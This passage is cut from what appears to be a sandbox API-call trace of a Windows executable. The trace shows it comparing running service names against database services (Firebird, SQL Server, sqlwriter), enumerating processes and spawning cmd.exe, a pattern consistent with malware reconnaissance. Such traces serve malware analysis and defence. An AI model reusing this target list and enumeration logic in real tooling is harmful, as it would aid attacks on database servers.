(lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0192.578] lstrlenW (lpString="lmhosts") returned 7 [0192.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0192.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0192.578] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0192.578] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0192.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0192.578] lstrlenW (lpString="LSM") returned 3 [0192.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0192.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0192.578] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0192.578] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0192.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0192.657] lstrlenW (lpString="MpsSvc") returned 6 [0192.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0192.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0192.658] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0192.658] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0192.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0192.658] lstrlenW (lpString="NcbService") returned 10 [0192.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0192.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0192.658] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0192.658] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0192.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0192.658] lstrlenW (lpString="netprofm") returned 8 [0192.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0192.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0192.658] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0192.658] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0192.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0192.658] lstrlenW (lpString="NgcSvc") returned 6 [0192.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0192.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0192.658] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0192.658] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0192.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0192.658] lstrlenW (lpString="NlaSvc") returned 6 [0192.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0192.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0192.658] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0192.658] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0192.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0192.658] lstrlenW (lpString="nsi") returned 3 [0192.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0192.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0192.659] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0192.659] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0192.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0192.659] lstrlenW (lpString="PcaSvc") returned 6 [0192.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0192.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0192.659] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0192.659] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0192.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0192.659] lstrlenW (lpString="PlugPlay") returned 8 [0192.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0192.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0192.659] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0192.659] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0192.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0192.659] lstrlenW (lpString="Power") returned 5 [0192.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0192.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0192.659] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0192.659] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0192.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0192.659] lstrlenW (lpString="ProfSvc") returned 7 [0192.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0192.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0192.659] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0192.659] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0192.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0192.659] lstrlenW (lpString="RpcEptMapper") returned 12 [0192.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0192.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0192.660] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0192.660] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0192.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0192.660] lstrlenW (lpString="RpcSs") returned 5 [0192.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0192.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0192.660] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0192.660] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0192.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0192.660] lstrlenW (lpString="SamSs") returned 5 [0192.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0192.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0192.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0192.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0192.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0192.660] lstrlenW (lpString="Schedule") returned 8 [0192.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0192.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0192.660] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0192.660] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0192.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0192.660] lstrlenW (lpString="SecurityHealthService") returned 21 [0192.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0192.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0192.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0192.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0192.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0192.661] lstrlenW (lpString="SENS") returned 4 [0192.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0192.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0192.661] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0192.661] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0192.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0192.661] lstrlenW (lpString="ShellHWDetection") returned 16 [0192.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0192.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0192.661] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0192.661] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0192.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0192.661] lstrlenW (lpString="Spooler") returned 7 [0192.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0192.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0192.661] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0192.661] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0192.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0192.661] lstrlenW (lpString="StateRepository") returned 15 [0192.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0192.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0192.661] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0192.661] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0192.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0192.661] lstrlenW (lpString="SysMain") returned 7 [0192.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0192.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0192.661] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0192.661] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0192.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0192.662] lstrlenW (lpString="SystemEventsBroker") returned 18 [0192.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0192.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0192.662] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0192.662] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0192.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0192.662] lstrlenW (lpString="Themes") returned 6 [0192.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0192.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0192.662] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0192.662] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0192.662] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45c2db8 | out: hHeap=0x420000) returned 1 [0192.662] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x410 [0192.667] Process32FirstW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.667] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0192.668] lstrlenW (lpString="System") returned 6 [0192.668] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0192.668] lstrlenW (lpString="smss.exe") returned 8 [0192.668] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0192.669] lstrlenW (lpString="csrss.exe") returned 9 [0192.669] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0192.669] lstrlenW (lpString="wininit.exe") returned 11 [0192.669] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0192.670] lstrlenW (lpString="csrss.exe") returned 9 [0192.670] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0192.670] lstrlenW (lpString="winlogon.exe") returned 12 [0192.671] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0192.671] lstrlenW (lpString="services.exe") returned 12 [0192.671] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0192.672] lstrlenW (lpString="lsass.exe") returned 9 [0192.672] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0192.672] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0192.672] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0192.673] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0192.673] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.673] lstrlenW (lpString="svchost.exe") returned 11 [0192.673] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.674] lstrlenW (lpString="svchost.exe") returned 11 [0192.674] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0192.674] lstrlenW (lpString="dwm.exe") returned 7 [0192.674] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.675] lstrlenW (lpString="svchost.exe") returned 11 [0192.675] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.675] lstrlenW (lpString="svchost.exe") returned 11 [0192.675] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.676] lstrlenW (lpString="svchost.exe") returned 11 [0192.676] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.676] lstrlenW (lpString="svchost.exe") returned 11 [0192.676] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.677] lstrlenW (lpString="svchost.exe") returned 11 [0192.677] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.677] lstrlenW (lpString="svchost.exe") returned 11 [0192.677] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.678] lstrlenW (lpString="svchost.exe") returned 11 [0192.678] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.678] lstrlenW (lpString="svchost.exe") returned 11 [0192.678] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.679] lstrlenW (lpString="svchost.exe") returned 11 [0192.679] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.679] lstrlenW (lpString="svchost.exe") returned 11 [0192.679] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0192.680] lstrlenW (lpString="spoolsv.exe") returned 11 [0192.680] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.680] lstrlenW (lpString="svchost.exe") returned 11 [0192.680] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0192.681] lstrlenW (lpString="audiodg.exe") returned 11 [0192.681] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0192.681] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0192.681] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0192.682] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0192.682] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0192.682] lstrlenW (lpString="Memory Compression") returned 18 [0192.682] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0192.683] lstrlenW (lpString="sihost.exe") returned 10 [0192.683] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.683] lstrlenW (lpString="svchost.exe") returned 11 [0192.683] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0192.684] lstrlenW (lpString="taskhostw.exe") returned 13 [0192.684] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0192.684] lstrlenW (lpString="msoia.exe") returned 9 [0192.684] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0192.685] lstrlenW (lpString="explorer.exe") returned 12 [0192.685] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0192.685] lstrlenW (lpString="SearchUI.exe") returned 12 [0192.685] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0192.686] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0192.686] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0192.686] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0192.686] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0192.687] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0192.687] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0192.687] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0192.687] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0192.687] lstrlenW 